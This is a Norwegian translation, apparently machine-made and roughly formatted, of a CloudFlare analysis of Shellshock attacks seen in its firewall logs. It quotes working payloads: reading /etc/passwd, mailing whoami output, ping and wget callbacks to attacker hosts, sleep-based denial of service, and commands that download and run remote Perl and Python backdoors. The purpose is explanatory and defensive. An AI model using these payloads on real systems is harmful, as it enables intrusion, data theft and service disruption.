på onsdag i forrige uke, detaljer Om Shellshock bash bug dukket opp. Denne feilen startet en scramble å lappe datamaskiner, servere, rutere, brannmurer og andre databehandlingsapparater ved hjelp av sårbare versjoner av bash.
CloudFlare umiddelbart rullet ut beskyttelse for Pro -, Forretnings-og Bedriftskunder gjennom Vår Webapplikasjonsbrannmur. På søndag, etter å ha studert omfanget av problemet, og sett på logger av angrep stoppet av VÅR WAF, bestemte vi oss for å rulle ut beskyttelse for Våre Gratisplankunder også.Siden da har vi overvåket angrep vi har stoppet for å forstå hvordan de ser ut, og hvor de kommer fra. Basert på våre observasjoner er det klart at hackere utnytter Shellshock over hele verden.
(CC BY 2.0 aussiegall)
Eject
Shellshock problemet er et eksempel på en vilkårlig kjøring AV KODE (ACE) sårbarhet. VANLIGVIS UTFØRES ace-sårbarhetsangrep på programmer som kjører, og krever en svært sofistikert forståelse av internals av kjøring av kode—minneoppsett og assembly language – kort sagt, denne typen angrep krever en ekspert.
Angriper vil også bruke ET ace-sårbarhet for å laste opp eller kjøre et program som gir Dem en enkel måte å kontrollere den målrettede maskinen på. Dette oppnås ofte ved å kjøre et «skall». Et skall er en kommandolinje hvor kommandoer kan skrives inn og utføres.shellshock-sårbarheten er et stort problem fordi det fjerner behovet for spesialisert kunnskap, og gir en enkel (dessverre veldig enkel) måte å ta kontroll over en annen datamaskin (for eksempel en webserver) og få den til å kjøre kode.
Anta et øyeblikk at du ønsket å angripe en webserver og gjøre CD – eller DVD-stasjonen åpen. Det er faktisk en kommando På Linux som vil gjøre det: /bin/eject. Hvis en webserver er sårbar For Shellshock, kan du angripe den ved å legge til den magiske strengen () { :; }; til /bin/eject og deretter sende den strengen til måldatamaskinen VIA HTTP. Normalt vilUser-Agent strengen identifisere hvilken type nettleser du bruker, men i Tilfelle shellshock-sårbarheten kan den settes til å si noe.
for eksempel, hvis example.com var sårbar da
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/ville være nok til å faktisk få CD-eller DVD-stasjonen til å skille ut.Ved å overvåke Shellshock-angrepene vi har blokkert, har vi faktisk sett noen som forsøker nettopp det angrepet. Så, hvis du kjører en webserver og plutselig finner EN utkastet DVD, kan det være en indikasjon på at maskinen din er sårbar for Shellshock.
Hvorfor det enkle angrepet fungerer
Når en webserver mottar en forespørsel om en side, er det tre deler av forespørselen som kan være utsatt For Shellshock-angrepet: forespørselsadressen, overskriftene som sendes sammen MED NETTADRESSEN, og det som kalles «argumenter» (når du skriver inn navn og adresse på et nettsted, vil det vanligvis bli sendt som argumenter i forespørselen).
her er for eksempel EN FAKTISK HTTP-forespørsel som henter CloudFlare-hjemmesiden:
GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.comI dette tilfellet ER NETTADRESSEN / (hovedsiden) og overskriftene er Accept-EncodingAccept-Language, ETC. Disse overskriftene gir webserveren informasjon om egenskapene til nettleseren min, mitt foretrukne språk, nettstedet jeg leter etter, og hvilken nettleser jeg bruker.
det er ikke uvanlig at disse blir omgjort til variabler inne i en webserver, slik at webserveren kan undersøke dem. (Webserveren vil kanskje vite hva mitt foretrukne språk er, så det kan bestemme hvordan jeg skal svare på meg).
for eksempel, inne i webserveren som svarer på forespørselen For CloudFlare-hjemmesiden, er det mulig at følgende variabler er definert ved å kopiere forespørselshodene tegn for tegn.
HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.comså lenge disse variablene forblir inne i webserverprogramvaren, og ikke overføres til andre programmer som kjører på webserveren, er serveren ikke sårbar.
Shellshock oppstår når variablene sendes inn i skallet kalt «bash». Bash er et vanlig skall som brukes På Linux-systemer. Webservere må ganske ofte kjøre andre programmer for å svare på en forespørsel, og det er vanlig at disse variablene sendes inn i bash eller et annet skall.Shellshock-problemet oppstår spesielt når en angriper endrer http-forespørselen fra ORIGIN til å inneholde den magiske() { :; }; strengen som er omtalt ovenfor.
Anta at angriperen endrer Brukeragenthodet ovenfor fra Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 til bare () { :; }; /bin/eject. Dette oppretter følgende variabel inne i en webserver:
HTTP_USER_AGENT=() { :; }; /bin/ejectHvis den variabelen blir sendt inn i bash av webserveren, Oppstår Shellshock-problemet. Dette skyldes at bash har spesielle regler for håndtering av en variabel som starter med () { :; };. I stedet for å behandle variabelenHTTP_USER_AGENT som en sekvens av tegn uten spesiell betydning, vil bash tolke det som en kommando som må utføres (jeg har utelatt de dype tekniske forklaringene på hvorfor() { :; }; gjør bash oppfører seg slik for klarhetens skyld i dette essayet.)
problemet er atHTTP_USER_AGENT kom fraUser-Agent header som er noe en angriper kontrollerer fordi den kommer inn i webserveren i EN HTTP-forespørsel. Og det er en oppskrift på katastrofe fordi en angriper kan få en sårbar server til å kjøre hvilken som helst kommando den ønsker (se eksempler nedenfor).
løsningen er å oppgradere bash til en versjon som ikke tolker () { :; }; på en spesiell måte.
hvor angrep kommer fra
Når vi rullet ut beskyttelse for alle kunder vi satt på plass en beregning som tillot oss å overvåke antall Shellshock angrep forsøkt. De fikk ALLE EN HTTP 403 Forbudt feilkode, men vi holdt en logg over når de oppstod og grunnleggende informasjon om angrepet.
dette diagrammet viser antall angrep per sekund i CloudFlare-nettverket siden utrulling av beskyttelse for alle kunder.
Fra Det øyeblikket CloudFlare slått på Vår Shellshock-beskyttelse til tidlig i morges, så vi 10 til 15 angrep per sekund. For angrepsvolum kom disse forespørslene fra Frankrike (80%), USA (7%), Nederland (7%), og deretter mindre volumer fra mange andre land.På ca 0100 Pacific (1000 I Paris) angrepene fra Frankrike opphørte. Vi ser for tiden rundt 5 angrep per sekund. I skrivende stund har vi blokkert godt over 1.1 m Shellshock-angrep.
La fantasien løpe løpsk
Siden det er så lett å angripe sårbare maskiner Med Shellshock, og fordi en sårbar maskin vil kjøre noen kommando sendt til det, angripere har la fantasien løpe løpsk med måter å manipulere datamaskiner eksternt.CloudFlare ‘ s WAF logger grunnen til at det blokkerte en forespørsel som tillater oss å trekke ut og analysere de faktiske Shellshock-strengene som brukes. Shellshock brukes primært for rekognosering: å trekke ut privat informasjon, og for å tillate angripere å få kontroll over servere.
De Fleste shellshock-kommandoene blir injisert ved HJELP AV HTTP User-Agent og Referer-overskrifter, men angripere bruker OGSÅ GET og POST-argumenter og andre tilfeldige HTTP-overskrifter.
for å trekke ut privat informasjon bruker angriperne et par teknikker. De enkleste utvinningsangrepene er i form:
() {:;}; /bin/cat /etc/passwd som leser passordfilen /etc/passwd, og legger den til svaret fra webserveren. Så en angriper som injiserer denne koden gjennom shellshock-sårbarheten, vil se at passordfilen dumpet ut på skjermen som en del av nettsiden returnert.
i ett angrep sender de bare private filer til seg selv. For å få data ut via e-post bruker angripernemail kommandoen slik:
() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' den kommandoen kjører førstwhoami for å finne ut navnet på brukeren som kjører webserveren. Det er spesielt nyttig fordi hvis webserveren kjøres som root (superbrukeren som kan gjøre noe), vil serveren være et spesielt rikt mål.
den sender deretter brukernavnet sammen med navnet på nettstedet som blir angrepet (example.com ovenfor) via e-post. Navnet på nettstedet vises i emnelinjen for e-post.
på fritiden kan angriperen logge inn på e-posten og finne ut hvilke nettsteder som var sårbare. Den samme e-teknikken kan brukes til å trekke ut data som passordfilen.
(CC BY 2.0 JD Hancock)
Rekognosering
det desidert mest populære angrepet vi har sett (rundt 83% av alle angrep) kalles «rekognosering». I rekognoseringsangrep sender angriperen en kommando som sender en melding til en tredjeparts maskin. Tredjepartsmaskinen vil da kompilere en liste over alle de sårbare maskinene som har kontaktet den.Tidligere har vi sett lister over kompromitterte maskiner som blir omgjort til botnett for DDoS, spam eller andre formål.en populær rekognoseringsteknikk bruker kommandoen ping for å få en sårbar maskin til å sende en enkelt pakke (kalt en ping) til en tredjepartsserver som angriperen kontrollerer. Angrepstrengen ser slik ut:
() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.comkommandoenping brukes vanligvis til å teste om en maskin er «levende» eller online (en levende maskin reagerer med sin egen ping). Hvis en webserver er sårbar For Shellshock, vil den sende en enkelt ping-pakke (-c 1) til angriper-maskin.com med en nyttelast satt av -p. Nyttelasten er en unik ID opprettet av angriperen, slik at de kan spore pingen tilbake til det sårbare nettstedet.
En annen teknikk som brukes til å identifisere sårbare servere, er å få webserveren til å laste ned en nettside fra en angriperstyrt maskin. Angriperen kan da se i webserverloggene for å finne ut hvilken maskin som var sårbar. Dette angrepet fungerer ved å sende En Shellshock streng som:
() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/nullangriperen ser i webserverloggen av attacker-controlled.com for oppforinger. Siden som lastes ned, er satt opp av angriperen for å avsløre navnet på nettstedet som blir angrepet. ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== er faktisk en kode som indikerer at angrepet var example.com.
ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== er faktisk en base64 kodet streng. Når den dekodes, leser den:
example.comShellShockSaltfra denne strengen kan angriperen finne ut om deres angrep på eksempel.com var vellykket, og i så fall kan de gå tilbake senere for å utnytte dette nettstedet ytterligere. Mens jeg har erstattet domenet som var målet, ser vi virkelige eksempler i naturen som faktisk bruker ShellShockSalt som saltet i hash.
Tjenestenekt
Et Annet Shellshock-angrep bruker denne strengen
() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20den forsøker å kjøre kommandoen sleep på tre forskjellige måter (siden systemer har litt forskjellige konfigurasjoner, kan søvn finnes i katalogene /bin eller /sbin eller /usr/bin). Uansett hvilken søvn den kjører, fører det til at serveren venter 20 sekunder før du svarer . Det vil forbruke ressurser på maskinen fordi en tråd eller prosess som utfører sleep vil ikke gjøre noe annet i 20 sekunder.
dette er kanskje den enkleste denial-of-service av alle. Angriperne forteller bare at maskinen skal sove en stund. Send nok av disse kommandoene, og maskinen kan bli bundet opp med å gjøre ingenting og ikke kunne betjene legitime forespørsler.
(CC BY 2.0 peter castleton)
Tar Kontroll
rundt 8% av angrepene vi har sett så langt har vært rettet mot direkte å ta kontroll over en server. Fjernkontrollangrep ser slik ut:
() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"denne kommandoen prøver å bruke to programmer (wget og curl) for å laste ned et program fra en server som angriperen kontrollerer. Programmet er skrevet På Perl-språket, og når det er lastet ned, kjøres det umiddelbart. Dette programmet setter opp ekstern tilgang for en angriper til den sårbare webserveren.Et annet angrep bruker Python-språket til å sette opp et program som kan brukes til å kjøre en kommando på den sårbare maskinen eksternt:
() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"cl.py program lastet ned er laget for å se ut som en oppdatering Til ClamAV antivirus program. Etter en forsinkelse på 5 sekunder rydder angrepet opp etter seg selv ved å fjerne den nedlastede filen (la den bare kjøre i minnet).
(CC BY 2.0 Jeff Taylor)
Målvalg
Når du ser på nettstedene som blir angrepet, og Nettadressene som blir forespurt, er det mulig å foreta en utdannet gjetning på de spesifikke webapplikasjonene som blir angrepet.
De Øverste Nettadressene vi har sett angrepet er: / (23.00%), /cgi-bin-sdb / printenv(15,12%), / cgi-mod / indeks.cgi (14,93%),/cgi-sys / entropysearch.cgi (15,20%) og/cgi-sys / defaultwebpage.cgi (14,59%). Noen Av Disse Nettadressene brukes av populære webapplikasjoner og til og med et maskinvareapparat.Det ser ut til at 23% av angrepene er rettet mot cpanel web hosting kontroll programvare, 15% mot gamle Apache installasjoner, og 15% mot barracuda hardware produkter som har et web – basert grensesnitt.
sistnevnte er interessant fordi det fremhever det faktum At Shellshock ikke bare er et angrep på nettsteder: det er et angrep på alt som kjører bash og er tilgjengelig over Internett. Det kan inkludere maskinvareenheter, set-top-bokser, bærbare datamaskiner, selv kanskje telefoner.